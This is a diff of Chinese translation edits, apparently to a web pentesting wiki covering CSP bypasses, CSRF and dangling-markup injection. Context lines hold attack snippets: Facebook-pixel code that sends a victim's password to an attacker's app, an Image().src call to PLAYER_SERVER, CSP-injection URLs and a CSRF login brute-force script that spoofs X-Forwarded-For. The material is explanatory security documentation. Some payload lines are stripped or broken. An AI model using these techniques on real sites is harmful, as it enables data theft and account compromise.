aaa
@@ -243,7 +243,7 @@ ng-init="c.init()"
```
-更多[**来自此文档的有效载荷**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
+更多 [**来自此文档的有效载荷**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
@@ -268,13 +268,13 @@ https://www.google.com/amp/s/example.com/
```
滥用 \*.google.com/script.google.com
-可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在 [这份报告](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) 中所做的那样。
+可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在[这份报告中](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)所做的那样。
### 第三方端点 + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
-像这样的场景,其中 `script-src` 设置为 `self` 和一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS,工作有效载荷:
+像这样的场景,其中 `script-src` 设置为 `self` 和一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使攻击者能够执行 XSS,工作有效载荷:
```markup
">
">
@@ -313,7 +313,7 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
```
Content-Security-Policy: connect-src www.facebook.com;
```
-您应该能够提取数据,就像一直以来使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一样。在这种情况下,您可以按照以下一般步骤操作:
+您应该能够提取数据,类似于使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一直以来的做法。在这种情况下,您可以遵循以下一般步骤:
1. 在此处创建一个 Facebook 开发者帐户。
2. 创建一个新的“Facebook 登录”应用并选择“网站”。
@@ -322,7 +322,7 @@ Content-Security-Policy: connect-src www.facebook.com;
5. 转到您的应用“事件管理器”,选择您创建的应用(请注意,事件管理器可以在类似于此的 URL 中找到:https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
6. 选择“测试事件”选项卡,以查看“您的”网站发送的事件。
-然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID,并发出如下自定义事件:
+然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID,并发出如下的自定义事件:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@@ -341,7 +341,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
浏览器最终会加载 `https://example.com/scripts/angular/angular.js`。
-这之所以有效,是因为对于浏览器来说,您正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。
+这有效是因为对于浏览器来说,你正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。
∑,它们会解码,从而有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
@@ -357,20 +357,20 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
-### 缺少 **base-uri**
+### 缺失 **base-uri**
-如果缺少 **base-uri** 指令,您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/)。
+如果缺少 **base-uri** 指令,你可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/index.html)。
-此外,如果 **页面使用相对路径加载脚本**(如 `
```
-来自: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
+从: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
-您还可以利用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**上传**到Twitter,并利用“**unsafe-inline**”来**执行**一段JS代码(作为常规XSS),该代码将**加载**该**图像**,**提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+您还可以利用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**将其上传**到Twitter,并利用“**unsafe-inline**”来**执行**一段JS代码(作为常规XSS),该代码将**加载**该**图像**,**提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### 使用服务工作者
@@ -467,20 +467,20 @@ Image().src='http://PLAYER_SERVER/?'+_)
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
-因为这个指令将**覆盖现有的 script-src 指令**。\
+因为这个指令将会**覆盖现有的 script-src 指令**。\
你可以在这里找到一个例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
-在 Edge 中更简单。如果你可以在 CSP 中添加这个: **`;_`** **Edge** 将**丢弃**整个**策略**。\
+在 Edge 中更简单。如果你可以在 CSP 中添加这个: **`;_`** **Edge** 将会**丢弃**整个**策略**。\
例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](
)
### img-src \*; 通过 XSS (iframe) - 时间攻击
注意缺少指令 `'unsafe-inline'`\
-这次你可以让受害者通过 **XSS** 使用 `
```
-在 [**这个 CTF 文章**](https://github.com/aszx87410/ctf-writeups/issues/48) 中,通过 **HTML 注入** 可以 **进一步限制** **CSP**,从而禁用防止 CSTI 的脚本,因此 **漏洞变得可利用。**\
-可以使用 **HTML 元标签** 使 CSP 更加严格,并且可以通过 **移除** 允许其 **nonce** 的 **入口** 来禁用内联脚本,并通过 sha **启用特定的内联脚本**:
+在[**这个CTF写作**](https://github.com/aszx87410/ctf-writeups/issues/48)中,通过**HTML注入**可以**进一步限制**一个**CSP**,从而禁用防止CSTI的脚本,因此**漏洞变得可利用。**\
+可以使用**HTML元标签**使CSP变得更加严格,并且可以通过**移除**允许其**nonce**的**入口**来禁用内联脚本,并通过sha**启用特定的内联脚本:
```html
@@ -30,7 +30,7 @@
- **检查引荐或来源头**:验证这些头可以帮助确保请求来自受信任的来源。然而,精心构造的 URL 可以绕过实施不当的检查,例如:
- 使用 `http://mal.net?orig=http://example.com`(URL 以受信任的 URL 结尾)
- 使用 `http://example.com.mal.net`(URL 以受信任的 URL 开头)
-- **修改参数名称**:更改 POST 或 GET 请求中参数的名称可以帮助防止自动化攻击。
+- **修改参数名称**:在 POST 或 GET 请求中更改参数名称可以帮助防止自动化攻击。
- **CSRF 令牌**:在每个会话中引入唯一的 CSRF 令牌,并要求在后续请求中使用该令牌,可以显著降低 CSRF 的风险。通过强制实施 CORS,可以增强令牌的有效性。
理解和实施这些防御措施对于维护 web 应用程序的安全性和完整性至关重要。
@@ -47,7 +47,7 @@
### CSRF 令牌未与用户会话绑定
-未将 CSRF 令牌与用户会话绑定的应用程序存在重大 **安全风险**。这些系统验证令牌是针对 **全局池**,而不是确保每个令牌与发起会话绑定。
+未将 CSRF 令牌与用户会话绑定的应用程序存在重大 **安全风险**。这些系统验证令牌是针对 **全局池** 而不是确保每个令牌绑定到发起会话。
攻击者如何利用这一点:
@@ -136,11 +136,11 @@ form.submit()
```
### 绕过 JSON 数据的预检请求
-在尝试通过 POST 请求发送 JSON 数据时,直接在 HTML 表单中使用 `Content-Type: application/json` 是不可能的。同样,利用 `XMLHttpRequest` 发送此内容类型会启动预检请求。然而,有一些策略可以潜在地绕过此限制,并检查服务器是否处理 JSON 数据,而不考虑 Content-Type:
+在尝试通过 POST 请求发送 JSON 数据时,直接在 HTML 表单中使用 `Content-Type: application/json` 是不可能的。同样,利用 `XMLHttpRequest` 发送这种内容类型会启动预检请求。然而,有一些策略可以潜在地绕过这一限制,并检查服务器是否处理 JSON 数据而不考虑 Content-Type:
1. **使用替代内容类型**:通过在表单中设置 `enctype="text/plain"`,使用 `Content-Type: text/plain` 或 `Content-Type: application/x-www-form-urlencoded`。这种方法测试后端是否使用数据,而不考虑 Content-Type。
-2. **修改内容类型**:为了避免预检请求,同时确保服务器将内容识别为 JSON,您可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求,但如果服务器配置为接受 `application/json`,可能会被正确处理。
-3. **使用 SWF Flash 文件**:一种不太常见但可行的方法是使用 SWF Flash 文件来绕过此类限制。有关此技术的深入理解,请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
+2. **修改内容类型**:为了避免预检请求,同时确保服务器将内容识别为 JSON,可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求,但如果服务器配置为接受 `application/json`,可能会被正确处理。
+3. **SWF Flash 文件利用**:一种不太常见但可行的方法是使用 SWF Flash 文件来绕过此类限制。有关此技术的深入理解,请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
### 引用/来源检查绕过
@@ -189,7 +189,7 @@ document.forms[0].submit()
```
### **HEAD 方法绕过**
-[**这个 CTF 文章**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)的第一部分解释了 [Oak 的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为 **将 HEAD 请求作为 GET 请求处理**,且没有响应体 - 这是一种常见的解决方法,并不是 Oak 独有的。它们并没有特定的处理程序来处理 HEAD 请求,而是 **直接交给 GET 处理程序,但应用程序只是移除了响应体**。
+[**这个 CTF 文章**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)的第一部分解释了 [Oak 的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为 **将 HEAD 请求作为 GET 请求处理**,且没有响应体 - 这是一种常见的变通方法,并不是 Oak 独有的。它们并没有特定的处理程序来处理 HEAD 请求,而是 **直接交给 GET 处理程序,但应用程序只是移除了响应体**。
因此,如果 GET 请求受到限制,你可以 **发送一个将被处理为 GET 请求的 HEAD 请求**。
@@ -197,7 +197,7 @@ document.forms[0].submit()
### **提取 CSRF 令牌**
-如果正在使用 **CSRF 令牌** 作为 **防御**,你可以尝试 **利用** [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**悬挂标记**](dangling-markup-html-scriptless-injection/) 漏洞来 **提取它**。
+如果 **CSRF 令牌** 被用作 **防御**,你可以尝试 **利用** [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**悬挂标记**](dangling-markup-html-scriptless-injection/index.html) 漏洞来 **提取它**。
### **使用 HTML 标签的 GET**
```xml
@@ -588,7 +588,7 @@ room: username,
```
## CSRF 登录暴力破解
-该代码可用于通过 CSRF 令牌对登录表单进行暴力破解(它还使用了 X-Forwarded-For 头来尝试绕过可能的 IP 黑名单):
+该代码可用于通过 CSRF 令牌对登录表单进行暴力破解(它还使用了 X-Forwarded-For 头以尝试绕过可能的 IP 黑名单):
```python
import request
import re
diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
index 17b2e2172..7eb6c65ed 100644
--- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
+++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
@@ -4,10 +4,10 @@
## Resume
-此技术可用于在发现**HTML注入**时从用户提取信息。如果您**找不到任何利用** [**XSS**](../xss-cross-site-scripting/)的方法,但可以**注入一些HTML标签**,这非常有用。\
-如果某些**秘密以明文形式保存在HTML中**,并且您想要**从客户端提取**它,或者如果您想误导某些脚本执行,这也很有用。
+此技术可用于在发现**HTML注入**时从用户提取信息。如果您**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/index.html)的方法,但可以**注入一些HTML标签**,这非常有用。\
+如果某些**秘密以明文形式保存在HTML中**,并且您想从客户端**提取**它,或者如果您想误导某些脚本执行,这也很有用。
-这里评论的几种技术可以通过以意想不到的方式(html标签、CSS、http-meta标签、表单、base等)提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。
+这里评论的几种技术可以通过以意想不到的方式(html标签、CSS、http-meta标签、表单、base等)提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/index.html)。
## Main Applications
@@ -55,9 +55,9 @@ steal me'test
I get consumed!
```
-攻击者可以利用此方法窃取信息。
+攻击者可以利用这一点窃取信息。
-在此[**报告中找到此攻击的示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。
+在这个[**报告中找到此攻击的示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。
### 窃取明文秘密 2
@@ -67,7 +67,7 @@ I get consumed!
```
该输入字段将包含其双引号之间的所有内容以及下一个双引号中的内容。这种攻击将“_**窃取明文秘密**_”与“_**窃取表单2**_”混合在一起。
-您可以通过注入一个表单和一个``为止,所有数据将被发送:
+您可以通过注入一个表单和一个``为止,所有数据都将被发送:
```html